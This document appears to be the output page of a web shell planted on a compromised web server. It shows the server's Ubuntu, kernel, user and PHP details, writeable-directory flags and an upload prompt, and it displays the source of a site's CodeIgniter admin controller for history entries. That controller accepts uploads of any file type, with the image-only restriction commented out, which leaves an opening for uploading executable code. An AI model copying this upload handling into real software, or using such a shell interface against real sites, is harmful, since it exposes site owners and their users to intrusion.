https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/serbaantik.com/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/serbaantik.com/public_html/application/controllers/admin/History.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class History extends Admin_Controller {
		
	function __construct() { 

		parent::__construct();

		if (!in_array('history', $this->allowed_sections)) redirect('admin/dashboard'); 

		$this->load->model('history_m');	  
	} 
		
	//this is to list all history     
	public function index() 
	{
		if (isset($_POST['submit']))  
		{
				//store image information to configuration table
				$data = array(
						'history_title' => $this->security->xss_clean($this->input->post('history_title')),
				);
				$this->db->where('id_configuration', 1);
				$this->db->update('configuration', $data); 

				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">history Landing Page Edit Successful</p>');
		}

		//pagination in action. 20 results per page  
		$this->load->library('pagination');
		$config['base_url'] = base_url() . 'admin/history/index';
		$config['per_page'] = 40;
		$config["uri_segment"] = 4; 

		//fetch all history
		$config['total_rows'] = $this->history_m->record_count();   
		$this->pagination->initialize($config);
   		$this->data['history'] = $this->history_m->get_all_history($config["per_page"], 
		$this->uri->segment(4)); 
	
		//load view
		$this->data['subview'] = 'admin/history/index';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer', $this->data_footer);
		
  }
	
	//to add a new history
	public function add() {
	
		$this->data['history'] = $this->history_m->get_new();	

		//get ordering number and display at add form
		$this->db->select_max('priority')->from('history');
		$current_priority = $this->db->get()->row()->priority;
		if($current_priority == NULL) {
			$this->data['history']->priority = 1;	
		} else {
			$this->data['history']->priority = $current_priority + 1;
		}  
		
		//validation check in action
		$config = array( 
      array(
            'field'   => 'year',
            'label'   => 'Year',
            'rules'   => 'trim'
        ),
        array(
            'field'   => 'content',
            'label'   => 'content',
            'rules'   => 'trim|required|max_length[350]'
        ),  
        array(
            'field'   => 'priority',
            'label'   => 'Priority',
            'rules'   => 'trim|required|numeric'
        ),  
        array(
            'field'   => 'status',
            'label'   => 'status',
            'rules'   => 'trim|required'
        ),       
  );

		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled

		$this->form_validation->set_rules($config); 

		if($this->form_validation->run() == TRUE) {
			
			if($_POST) {

				//check & processing image banner upload files	
				if ($_FILES['userfile']['size'] !== 0) {  	
          $config = array();
					$config['upload_path'] = './uploads/page/'; 
					$config['allowed_types'] = '*';  
					// $config['allowed_types'] = 'jpg|png|jpeg|webp'; 
					$config['max_size']	= '500';
					
					$this->load->library('upload', $config);  
          $this->upload->initialize($config); 

					if ( ! $this->upload->do_upload()) {

		        //echo $this->upload->display_errors(); die();
							
						$this->session->set_flashdata('error', '<br>
							<p style="background:orange; color:white; padding:5px; font-weight:bold;">Kesalahan Unggah Gambar. Format atau ukuran salah.</p>');
						redirect('admin/history/add');
					
					} else {

					$image = $this->upload->data();
					$image_filename = $image['file_name']; 	 

					}	
				} 

				$data = array(
					'year' => $this->input->post('year'),
          'content' => $this->input->post('content'),
					'priority' => $this->input->post('priority'),
					'status' => $this->input->post('status'),
				);

				//image upload
				if (isset($image_filename)) {
					$data['image'] = $image_filename;
				} 

				$this->history_m->add_history($data);

				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Tambah history Berhasil</p>');

				redirect('admin/history');
			}
		} 
		
		$this->data['subview'] = 'admin/history/edit';
		$this->load->view('admin/templates/header', $this->data_header);
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer', $this->data_footer);	
	}
	
	//to edit brand in admin
	public function edit($id = NULL) { 

		//check if id exist. If not exist, show 404.
		$count = $this->history_m->count_exist($id); 
		
		if ($count == 0) {
			//page not exist
			show_404();
		}		

		$this->data['history'] = $this->history_m->get($id);	
		
		//validation check in action
		$config = array( 
        array(
              'field'   => 'year',
              'label'   => 'Year',
              'rules'   => 'trim'
          ),
          array(
              'field'   => 'content',
              'label'   => 'content',
              'rules'   => 'trim|required|max_length[350]'
          ),  
          array(
              'field'   => 'priority',
              'label'   => 'Priority',
              'rules'   => 'trim|required|numeric'
          ),  
          array(
              'field'   => 'status',
              'label'   => 'status',
              'rules'   => 'trim|required'
          ),       
    );

		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled	

		$this->form_validation->set_rules($config); 

		if($this->form_validation->run() == TRUE) {
			
			if($_POST) {

				//check & processing image banner upload files	
				if ($_FILES['userfile']['size'] !== 0) {  	

          $config = array();
					$config['upload_path'] = './uploads/page/'; 
					$config['allowed_types'] = '*';  
					// $config['allowed_types'] = 'jpg|png|jpeg|webp'; 
					$config['max_size']	= '500';
					
					$this->load->library('upload', $config); 
          $this->upload->initialize($config); 

					if ( ! $this->upload->do_upload()) {

		        echo $this->upload->display_errors(); die();
							
						$this->session->set_flashdata('error', '<br>
							<p style="background:orange; color:white; padding:5px; font-weight:bold;">Kesalahan Unggah Gambar. Format atau ukuran salah.</p>');
						redirect('admin/history/edit/' . $id);
					
					} else {

					$image = $this->upload->data();
					$image_filename = $image['file_name']; 	 
					 
					}	
				}


				$data = array(
					'year' => $this->input->post('year'),
          'content' => $this->input->post('content'),
					'priority' => $this->input->post('priority'),
					'status' => $this->input->post('status'),
				);

				//image upload
				if (isset($image_filename)) {
					$data['image'] = $image_filename;
				} 

			$this->history_m->edit_history($id, $data);

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">history success edit</p>');
			
			redirect('admin/history');
			}
		} 
		
		$this->data['subview'] = 'admin/history/edit';
		$this->load->view('admin/templates/header', $this->data_header);
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer', $this->data_footer);	
	}
	
	
	//to delete a history
	public function delete($id) {

		//check if id exist. If not exist, show 404.
		$count = $this->history_m->count_exist($id);
		
		if ($count == 0) {  
			//page not exist 
			show_404();
		}		
		

		//delete brand
		$this->history_m->delete($id);

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">history success deleted</p>');
		redirect('admin/history');
	}

	//To delete customer photo file from server, and from database
	public function delete_customer_photo($id = NULL) { 

		$count = $this->history_m->count_exist($id);

		if ($id == NULL || $count == 0) {	  
			redirect('admin/history');
		}

		//get customer image file name for deletion
		$this->db->select('image')->from('history')->where('id_history', (int) $id);
		$image = $this->db->get()->row();

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/page/'. $image->image);

		//Delete image field from database
		$data = array( 
			'image' => '',
		);

		$this->db->where('id_history', (int) $id);
		$this->db->update('history', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Hapus Gambar Pelanggan Berhasil</p>');
		
		redirect('admin/history/edit/' . $id); 
	} 
		
}

https://t.me/RX1948 - 2025